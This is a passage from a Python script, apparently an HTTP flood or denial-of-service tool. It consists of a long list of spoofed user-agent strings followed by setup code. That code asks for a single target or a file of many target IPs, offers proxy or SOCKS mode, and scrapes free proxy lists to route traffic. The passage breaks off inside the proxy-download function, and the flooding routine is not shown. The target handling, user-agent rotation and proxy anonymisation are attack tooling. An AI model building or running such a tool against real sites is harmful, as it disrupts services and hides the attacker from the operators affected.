BrowserNG/7.2.6.4 3gpp-gba", 235 | "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaX7-00/021.004; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.21 Mobile Safari/533.4 3gpp-gba", 236 | "Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/413", 237 | "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413", 238 | "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es50", 239 | "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65", 240 | "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es70", 241 | "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia5700/3.27; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413", 242 | "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.70; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413", 243 | "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0", 244 | "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.0.0.0", 245 | "Mozilla/5.0 (SymbianOS 9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344", 246 | "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344", 247 | "Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525", 248 | "Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.2", 249 | "Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0", 250 | "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 251 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", 252 | "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", 253 | "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2", 254 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0", 255 | "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", 256 | "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 257 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 258 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27", 259 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1", 260 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7", 261 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", 262 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", 263 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1", 264 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre", 265 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2", 266 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1", 267 | "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", 268 | "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6", 269 | "Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0", 270 | "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)", 271 | "Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016", 272 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10", 273 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", 274 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18", 275 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10", 276 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)", 277 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9", 278 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8", 279 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)", 280 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )", 281 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1", 282 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14", 283 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5", 284 | "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre", 285 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12", 286 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5", 287 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5", 288 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14", 289 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20", 290 | "Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a", 291 | "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2", 292 | "Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0", 293 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34", 294 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1", 295 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2", 296 | "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 297 | "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", 298 | "Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", 299 | "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ", 300 | "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 301 | "Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre", 302 | "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0", 303 | "Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2", 304 | "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0", 305 | "Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0", 306 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24", 307 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1", 308 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", 309 | "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre", 310 | "Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", 311 | "Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2", 312 | "Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 313 | "Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre", 314 | "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0", 315 | "Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1", 316 | "Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0", 317 | "Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8", 318 | "Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0", 319 | "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15", 320 | "Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko", 321 | "Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", 322 | "Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025", 323 | "Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1", 324 | "Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020", 325 | "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1", 326 | "Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)", 327 | "Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher", 328 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian", 329 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8", 330 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15", 331 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8", 332 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7", 333 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5", 334 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14", 335 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)", 336 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6", 337 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)", 338 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11", 339 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)", 340 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0", 341 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2", 342 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330", 343 | "Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)", 344 | "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8", 345 | "Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0", 346 | "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)", 347 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9", 348 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15", 349 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", 350 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0", 351 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)", 352 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8", 353 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12", 354 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3", 355 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5", 356 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9", 357 | "Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12", 358 | "Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0", 359 | "Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15", 360 | "Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0", 361 | "Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3", 362 | "Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5", 363 | "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8", 364 | "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3", 365 | "Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6", 366 | "MSIE (MSIE 6.0; X11; Linux; i686) Opera 7.23", 367 | "msnbot/0.11 ( http://search.msn.com/msnbot.htm)", 368 | "msnbot/1.0 ( http://search.msn.com/msnbot.htm)", 369 | "msnbot/1.1 ( http://search.msn.com/msnbot.htm)", 370 | "msnbot-media/1.1 ( http://search.msn.com/msnbot.htm)", 371 | "NetSurf/1.2 (NetBSD; amd64)", 372 | "Nokia3230/2.0 (5.0614.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0", 373 | "Nokia6100/1.0 (04.01) Profile/MIDP-1.0 Configuration/CLDC-1.0", 374 | "Nokia6230/2.0 (04.44) Profile/MIDP-2.0 Configuration/CLDC-1.1", 375 | "Nokia6230i/2.0 (03.80) Profile/MIDP-2.0 Configuration/CLDC-1.1", 376 | "Nokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1", 377 | "Nokia6630/1.0 (2.39.15) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1", 378 | "Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0", 379 | "NokiaN70-1/5.0609.2.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0", 380 | "NokiaN73-1/3.0649.0.0.1 Series60/3.0 Profile/MIDP2.0 Configuration/CLDC-1.1", 381 | "nook browser/1.0", 382 | "Offline Explorer/2.5", 383 | "Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.30", 384 | "Opera/7.50 (Windows ME; U) [en]", 385 | "Opera/7.50 (Windows XP; U)", 386 | "Opera/7.51 (Windows NT 5.1; U) [en]", 387 | "Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)", 388 | "Opera/9.0 (Macintosh; PPC Mac OS X; U; en)", 389 | "Opera/9.20 (Macintosh; Intel Mac OS X; U; en)", 390 | "Opera/9.25 (Windows NT 6.0; U; en)", 391 | "Opera/9.30 (Nintendo Wii; U; ; 2047-7; en)", 392 | "Opera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en)", 393 | "Opera/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i/R2AA Profile/MIDP-2.0 Configuration/CLDC-1.1", 394 | "Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0", 395 | "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.0", 396 | "Opera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1", 397 | "Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1", 398 | "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0", 399 | "Opera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00", 400 | "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52", 401 | "Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61", 402 | "Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00", 403 | "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00", 404 | "Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10", 405 | "Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10", 406 | "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01", 407 | "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00", 408 | "Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10", 409 | "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00", 410 | "P3P Validator", 411 | "Peach/1.01 (Ubuntu 8.04 LTS; U; en)", 412 | "POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1", 413 | "POLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.1", 414 | "portalmmm/2.0 N410i(c20;TB) ", 415 | "Python-urllib/2.5", 416 | "SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.3", 417 | "SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0", 418 | "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)", 419 | "SearchExpress", 420 | "SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)", 421 | "SEC-SGHX210/1.0 UP.Link/6.3.1.13.0", 422 | "SEC-SGHX820/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1", 423 | "SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0", 424 | "SonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1", 425 | "SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1", 426 | "SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1", 427 | "SonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0", 428 | "SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1", 429 | "SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1", 430 | "SonyEricssonT100/R101", 431 | "SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.0", 432 | "SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1", 433 | "SonyEricssonT68/R201A", 434 | "SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1", 435 | "SonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1", 436 | "SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0", 437 | "SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1", 438 | "SonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]", 439 | "SonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0", 440 | "SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0", 441 | "SuperBot/4.4.0.60 (Windows XP)", 442 | "Uzbl (Webkit 1.3) (Linux i686 [i686])", 443 | "Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1", 444 | "W3C_Validator/1.305.2.12 libwww-perl/5.64", 445 | "W3C_Validator/1.654", 446 | "w3m/0.5.1", 447 | "WDG_Validator/1.6.2", 448 | "WebCopier v4.6", 449 | "Web Downloader/6.9", 450 | "WebZIP/3.5 (http://www.spidersoft.com)", 451 | "Wget/1.9.1", 452 | "Wget/1.9 cvs-stable (Red Hat modified)", 453 | "wii libnup/1.0", 454 | ] 455 | 456 | 457 | def starturl(): # in questa funzione setto l'url per renderlo usabile per il futuro settaggio delle richieste HTTP. 458 | global url 459 | global url2 460 | global urlport 461 | global choice1 462 | global ips 463 | 464 | choice1 = input("\nDo you want one target [0] or more[1] > ") 465 | 466 | if choice1 == "1": 467 | ip_file = input("Insert txt file of ips > ") 468 | ips = open(ip_file).readlines() 469 | 470 | 471 | 472 | else: 473 | url = input("\nInsert URL/IP: ").strip() 474 | 475 | if url == "": 476 | print ("Please enter the url.") 477 | starturl() 478 | 479 | try: 480 | if url[0]+url[1]+url[2]+url[3] == "www.": 481 | url = "http://" + url 482 | elif url[0]+url[1]+url[2]+url[3] == "http": 483 | pass 484 | else: 485 | url = "http://" + url 486 | except: 487 | print("You mistyped, try again.") 488 | starturl() 489 | 490 | try: 491 | url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0] 492 | except: 493 | url2 = url.replace("http://", "").replace("https://", "").split("/")[0] 494 | 495 | try: 496 | urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1] 497 | except: 498 | urlport = "80" 499 | 500 | proxymode() 501 | 502 | 503 | def proxymode(): 504 | global choice2 505 | choice2 = input("Do you want proxy/socks mode? Answer 'y' to enable it: ") 506 | if choice2 == "y": 507 | choiceproxysocks() 508 | else: 509 | numthreads() 510 | 511 | def choiceproxysocks(): 512 | global choice3 513 | choice3 = input("Type '0' to enable proxymode or type '1' to enable socksmode: ") 514 | if choice3 == "0": 515 | choicedownproxy() 516 | elif choice3 == "1": 517 | choicedownsocks() 518 | else: 519 | print ("You mistyped, try again.") 520 | choiceproxysocks() 521 | 522 | def choicedownproxy(): 523 | choice4 = input("Do you want to download a new list of proxy? Answer 'y' to do it: ") 524 | if choice4 == "y": 525 | urlproxy = "http://free-proxy-list.net/" 526 | proxyget(urlproxy) 527 | else: 528 | proxylist() 529 | 530 | def choicedownsocks(): 531 | choice4 = input("Do you want to download a new list of socks? Answer 'y' to do it: ") 532 | if choice4 == "y": 533 | urlproxy = "https://www.socks-proxy.net/" 534 | proxyget(urlproxy) 535 | else: 536 | proxylist() 537 | 538 | def proxyget(urlproxy): # lo dice il nome, questa funzione scarica i proxies 539 | try: 540 | req = urllib.request.Request(("%s") % (urlproxy)) # qua impostiamo il sito da dove scaricare. 541 | req.add_header("User-Agent", random.choice(useragents)) # siccome il format del sito e' identico sia 542 | sourcecode = urllib.request.urlopen(req) # per free-proxy-list.net che per socks-proxy.net, 543 | part = str(sourcecode.read()) # imposto la variabile urlproxy 